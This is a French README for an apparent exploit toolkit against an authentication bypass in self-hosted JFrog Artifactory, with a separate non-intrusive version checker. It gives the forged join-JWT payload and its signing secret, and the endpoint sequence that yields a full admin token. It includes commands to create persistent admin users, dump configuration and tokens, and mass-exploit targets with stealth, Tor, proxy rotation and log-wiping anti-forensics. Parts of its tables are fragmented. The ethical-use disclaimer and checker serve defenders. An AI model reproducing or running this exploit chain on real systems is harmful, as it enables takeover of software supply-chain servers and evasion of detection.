
Boîte à outils d'exploitation et de détection pour CVE-2026-82329, un contournement d'authentification de JFrog Artifactory. Forge des JWT join pour générer des jetons d'administration ; inclut un vérificateur de version non intrusif.

USAGE ÉTHIQUE UNIQUEMENT – TESTS DE SÉCURITÉ AUTORISÉS Ce dépôt fournit des outils destinés exclusivement aux professionnels de la sécurité autorisés, aux blue teams et aux testeurs d'intrusion. Tout accès non autorisé à des systèmes informatiques est illégal en vertu du CFAA (États-Unis), du Computer Misuse Act (Royaume-Uni), du TCK 243/244 (Turquie) et de lois similaires dans le monde entier.
CVE‑2026‑82329 est une vulnérabilité critique de contournement d'authentification dans JFrog Artifactory auto-hébergé (versions 7.111.x à 7.161.x) qui permet à un attaquant non authentifié d'obtenir un jeton d'administrateur complet de la plateforme en abusant du mécanisme de jonction de cluster JFrog Access.
32 * 0x20 (espaces).kid = SHA256("").POST /access/api/v1/registry/join renvoie un jeton SERVICE avec scp=admin sans aucune authentification.POST /access/api/v1/tokens avec scope=applied-permissions/admin&audience=* produit un jeton d'administrateur complet de la plateforme.| Outil | Objectif | Utilisateur visé |
|---|---|---|
exploit.py | Boîte à outils complète et weaponisée avec forge de JWT, échange de jeton admin, création d'utilisateur admin, scan de masse, mode furtif, rotation de proxy, menu interactif et chaîne d'attaque complète. | Red teams / pentesters autorisés |
safechecker.py | Vérificateur de vulnérabilité non intrusif qui détecte la version d'Artifactory, valide l'exposition et évalue le risque sans obtenir de jeton ni exécuter de payload. Génère des rapports JSON. | Blue teams / auditeurs de sécurité |
| Fonctionnalité | exploit.py | safechecker.py |
|---|---|---|
| Détection de vulnérabilité | ✅ | ✅ |
| Détection de version | ✅ | ✅ |
| JWT de jonction forgé | ✅ | ❌ |
| Émission de jeton de service | ✅ | ❌ |
| Échange de jeton admin | ✅ | ❌ |
| Création d'utilisateur admin | ✅ | ❌ |
| Lister les dépôts | ✅ | ❌ |
| Lister les utilisateurs | ✅ | ❌ |
| Vider la configuration | ✅ | ❌ |
| Vider les jetons | ✅ | ❌ |
| Chaîne d'attaque complète | ✅ | ❌ |
| Menu interactif | ✅ | ❌ |
| Scan de masse (multi-thread) | ✅ | ✅ |
| Prise en charge de proxy | ✅ | ✅ |
| Rotation de proxy | ✅ | ❌ |
| Prise en charge de Tor (anonymat) | ✅ | ❌ |
| Rotation de User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Limiteur de débit adaptatif | ✅ | ❌ |
| Mode non intrusif (sûr) | ❌ | ✅ |
| Rapport de version | ✅ | ✅ |
| Vérification d'accès anonyme | ❌ | ✅ |
| Rapport JSON |
| Scénario | Outil recommandé |
|---|---|
| Blue Team – vérifier si votre Artifactory est vulnérable | safechecker.py |
| Audit de sécurité – évaluation de vulnérabilité non intrusive | safechecker.py |
| Red Team – test d'intrusion autorisé avec exploitation complète | exploit.py |
| Bug Bounty – test de divulgation responsable | safechecker.py |
| Scan de masse – vérification de plusieurs cibles pour la vulnérabilité | exploit.py (détection uniquement) |
| Réponse à incident – vérifier si les systèmes sont compromis | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requests
urllib3
curl_cffi
exploit.py| Paramètre | Description |
|---|---|
-u, --url | URL Artifactory cible unique (ex. http://artifactory.example.com:8082) |
-f, --file | Fichier contenant la liste des cibles (une par ligne) pour le scan de masse |
--create-admin | Créer un utilisateur admin persistant (format : USER:PASS) |
--keep-admin | Conserver l'utilisateur admin créé (ne pas nettoyer après le scan) |
--token-only | Afficher uniquement le jeton admin (cible unique) |
--interactive | Menu interactif après exploitation |
--service-id | ID de service pour le JWT de jonction (par défaut : jfrt@01) |
-t, --threads | Nombre de threads pour multi-cibles (par défaut : 10) |
--timeout | Délai d'expiration des requêtes (par défaut : 25s) |
--retry | Nombre maximal de tentatives (par défaut : 3) |
--proxy | Proxy HTTP/HTTPS (ex. http://127.0.0.1:8080) |
--proxy-list | Fichier avec les proxys pour rotation (un par ligne) |
--jitter | Jitter aléatoire (0‑2 sec) entre les requêtes |
--stealth | Activer le mode furtif (rotation UA + X‑Forwarded‑For) |
--curl-cffi | Utiliser curl_cffi pour l'usurpation d'empreinte TLS |
--full | Attaque complète : tous les modules |
--dump-config | Vider la configuration système |
--dump-tokens | Vider tous les jetons d'accès |
--list-repos | Lister les dépôts |
--list-users | Lister les utilisateurs |
safechecker.py| Paramètre | Description |
|---|---|
-u, --url | URL Artifactory cible unique (ex. http://artifactory.example.com:8082) |
-f, --file | Fichier contenant la liste des cibles (une par ligne) |
-t, --threads | Nombre de threads pour multi-cibles (par défaut : 5) |
--timeout | Délai d'expiration des requêtes (par défaut : 10s) |
-v, --verbose | Sortie verbeuse |
-o, --output | Enregistrer le rapport JSON dans un fichier |
| # | Scénario | Commande |
|---|---|---|
| 1 | Vérification rapide de vulnérabilité | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | Scan détaillé avec rapport | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | Audit de masse depuis un fichier | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | Exploit en détection uniquement | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | Obtenir uniquement le jeton admin | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | Attaque complète avec menu interactif | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | Créer un utilisateur admin persistant | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | Vider la configuration | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | Lister les dépôts et les utilisateurs | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | Exploit de masse avec furtivité | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | Rotation de proxy avec Tor | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
L'exploit utilise les points de terminaison JFrog et les étapes d'exploitation suivants :
| Étape | Méthode | Point de terminaison | Description |
|---|---|---|---|
| 1. Jonction | POST | /access/api/v1/registry/join | JWT HS256 forgé → jeton SERVICE (scp=admin) |
| 2. Échange | POST | /access/api/v1/tokens | Jeton SERVICE → jeton admin de plateforme |
| 3. Preuve | GET | /artifactory/api/system/configuration | Preuve d'accès réservée aux admins |
| 4. Persistance | PUT | /artifactory/api/security/users/{user} | Créer un utilisateur admin persistant |
| 5. Révocation | DELETE | /access/api/v1/tokens/{id} | Nettoyer les jetons créés |
# Structure du JWT de jonction forgé
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# Secret de signature
secret = b"\x20" * 32
# Requête de jeton admin
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
Ce logiciel est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
| ✅ |
| ✅ |
| Nettoyage des journaux (anti-forensique) | ✅ | ❌ |
| User‑Agent personnalisé | ✅ | ✅ |
| Contrôle de vérification SSL | ✅ | ✅ |
--detect |
| Détection uniquement (pas d'échange de jeton admin) |
--exploit | Effectuer l'exploitation complète |
-o, --output | Enregistrer le rapport JSON dans un fichier |
-v, --verbose | Sortie verbeuse |
-q, --quiet | Mode silencieux |